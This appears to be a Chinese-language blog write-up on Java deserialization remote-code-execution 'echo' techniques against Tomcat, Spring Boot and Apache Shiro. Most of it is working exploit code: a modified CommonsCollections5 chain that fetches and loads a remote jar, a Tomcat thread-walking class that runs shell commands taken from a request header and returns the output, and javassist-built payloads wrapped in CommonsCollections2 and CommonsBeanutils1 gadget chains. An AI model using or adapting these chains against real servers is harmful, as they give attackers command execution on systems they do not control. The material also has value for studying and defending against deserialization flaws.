利用URLClassloader
参考:
https://y4er.com/post/java-deserialization-echo/
魔改的cc5链子
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.BASE64Encoder;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
class CommonsCollections5URLClassLoader {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
// 获取构造方法
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{java.net.URL[].class}}),
// new实例并赋值url
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/ProcessExec.jar")}}}),
// loadClass加载ProcessExec
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ProcessExec"}),
// 获取ProcessExec的构造方法
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
// 实例化ProcessExec
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"ipconfig"}})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "fofa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(badAttributeValueExpException);
oos.close();
BASE64Encoder base64Encoder = new BASE64Encoder();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
利用Tomcat回显
参考项目:
https://github.com/feihong-cs/Java-Rce-Echo
package com.test;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Controller
public class Tomcat {
@RequestMapping("tomcat")
public void test() throws NoSuchFieldException, IllegalAccessException {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for (int i = 0; i < threads.length; i++) {
try {
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException e) {
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getSuperclass().getDeclaredField("global");
} catch (NoSuchFieldException e) {
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List) (f.get(obj));
for (int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
if (flag) break;
}
if (flag) break;
} catch (Exception e) {
continue;
}
}
}
}
整个SPringboot debug调一下
首先先获取当前的所有线程,在对线程进行遍历
再获取名字有http且不包含exec的线程
获取的线程: http-nio-80-ClientPoller
再获取this$0对象即 NioEndpoiont
获取handler对象
private org.apache.tomcat.util.net.AbstractEndpoint$Handler org.apache.tomcat.util.net.AbstractEndpoint.handler
AbstractProtocol$ConnectionsHanhler里的global字段里刚好存在request对象
从global里获取processors对象,从processors对象里获取req对象
后面就是利用反射来执行servlet的常规操作,将rce的结果返回到页面
这个分析利用链其实不难,但是你想要找到这个链子我个人觉得还是挺难的,大佬们太强了,果然是站在巨人的肩膀上学习
结合到yso链子
当然也是看大哥们写的链子,主要是利用javassist动态创建类,再利用yso的cc链
package com.exp;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Allecho {
public static CtClass genPayload(ClassPool pool) throws Exception {
CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
//HTTPServletRequest.class
//HTTPServletResponse.class
clazz.addField(CtField.make("static java.util.HashSet/*<Object>*/ h;", clazz));
clazz.addField(CtField.make("static javax.servlet.http.HttpServletRequest r;",clazz));
clazz.addField(CtField.make("static javax.servlet.http.HttpServletResponse p;",clazz));
// clazz.addField(CtField.make("static int depth ;",clazz));
clazz.addMethod(CtMethod.make("private static boolean i(Object obj){ if(obj==null|| h.contains(obj)){ return true; } h.add(obj); return false; }",clazz));
// clazz.addMethod(CtMethod.make("private static void F(Object start, int depth){ Class n=start.getClass(); do{ java.lang.reflect.Field declaredField = null; java.lang.reflect.Field[] fields = n.getDeclaredFields(); int length = n.getDeclaredFields().length; for (int i =0 ; i <= length; i++){ declaredField = fields[i]; declaredField.setAccessible(true); Object o = null; try{ o = declaredField.get(start); if(!o.getClass().isArray()){ p(o,depth); }else{ Object[] array = (Object[])o; for (int q = 0; q < array.length; q++){ p(array[q], depth); } } }catch (Exception e){ } } }while( (n = n.getSuperclass())!=null ); }",clazz));
clazz.addMethod(CtMethod.make("private static void F(Object start, int depth){}",clazz));
clazz.addMethod(CtMethod.make(" private static void p(Object o, int depth){\n" +
" if(depth > 52||(r !=null&& p !=null)){\n" +
" return;\n" +
" }\n" +
" if(!i(o)){\n" +
" if(r ==null&&javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())){\n" +
" r = (javax.servlet.http.HttpServletRequest)o;\n" +
" if(r.getHeader(\"Ctmd\")==null && r.getHeader(\"c\") == null) {\n" +
" r = null;\n" +
" }else{\n" +
" try {\n" +
" p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod(\"getResponse\",null).invoke(r,null);\n" +
"\n" +
" } catch (Exception e) {\n" +
" r = null;\n" +
" }\n" +
" }\n" +
"\n" +
" }\n" +
" if(r !=null&& p !=null){\n" +
" try {\n" +
" \n" +
" if (r.getHeader(\"Ctmd\") != null) {\n" +
" p.addHeader(\"techo\",r.getHeader(\"Ctmd\"));\n" +
" }else {\n" +
" p.getWriter().println(\"$$$\" + new java.util.Scanner(Runtime.getRuntime().exec(r.getHeader(\"c\")).getInputStream()).useDelimiter(\"\\\\A\").next() + \"$$$\");\n" +
//" p.getWriter().println(\"$$$\" + org.apache.shiro.codec.Base64.encodeToString(new java.util.Scanner(Runtime.getRuntime().exec(org.apache.shiro.codec.Base64.decodeToString(r.getHeader(\"c\"))).getInputStream()).useDelimiter(\"\\\\A\").next().getBytes()) + \"$$$\");\n" +
" p.getWriter().flush();\n" +
" p.getWriter().close();\n" +
" }\n" +
" \n" +
"\n" +
" }catch (Exception e){\n" +
" }\n" +
" return;\n" +
" }\n" +
"\n" +
" F(o,depth+1);\n" +
" }\n" +
" }",clazz));
clazz.getDeclaredMethod("F").setBody("{Class n = $1.getClass();\n" +
" do{\n" +
" java.lang.reflect.Field f = null;\n" +
" int l = n.getDeclaredFields().length;\n" +
" for (int i = 0; i < l; i++) {\n" +
" f = n.getDeclaredFields()[i];\n" +
" f.setAccessible(true);\n" +
" Object o = null;\n" +
" try{\n" +
" o = f.get($1);\n" +
"\n" +
" if(!o.getClass().isArray()){\n" +
" p(o,$2);\n" +
" }else{\n" +
" Object q = null;\n" +
" Object[] objs = (Object[])o;\n"+
" int len = java.lang.reflect.Array.getLength(o);\n" +
" for (int j = 0; j < len; j++) {\n" +
" q = objs[j];\n"+
" p(q, $2);\n" +
" }\n" +
"\n" +
" }\n" +
"\n" +
" }catch (Exception e){\n" +
" }\n" +
" }\n" +
"\n" +
" }while(\n" +
" (n = n.getSuperclass())!=null\n" +
" );}");
clazz.addConstructor(CtNewConstructor.make("public dfs(){ r = null; p = null; h =new java.util.HashSet/*<Object>*/(); F(Thread.currentThread(),0); }",clazz));
return clazz;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] test() throws Exception {
TemplatesImpl obj = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = genPayload(pool);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
setFieldValue(obj, "_bytecodes", new byte[][]{ classBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
return barr.toByteArray();
}
}
shiro反序列化回显
CommonsCollections2Shiro
package com.exp;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] echogenerate(Allecho allecho) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = allecho.genPayload(pool);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] clazzbytes = clazz.toBytecode();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzbytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
CommonsBeanutils1Shiro
package com.exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] echogenerate(Allecho allecho) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = allecho.genPayload(pool);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
setFieldValue(obj, "_bytecodes", new byte[][]{ classBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
return barr.toByteArray();
}
}
log4j2反序列化回显
既然上面的shiro的回显咱搞清楚,那其实也整一个log4j2回显(蹭个热度),本质其实是一样的(这里就不放出代码了)
原理和shiro的一个意思,也是需要根据yso的链子来魔改
利用gagdet高版本绕过的方式将反序列化链子带进去
复现环境:
https://github.com/penson233/log4j2rce-demo
参考文献:
https://m0d9.me/2020/10/10/Java%E5%86%85%E5%AD%98shell%EF%BC%9ATomcat%E5%9B%9E%E6%98%BE/
https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/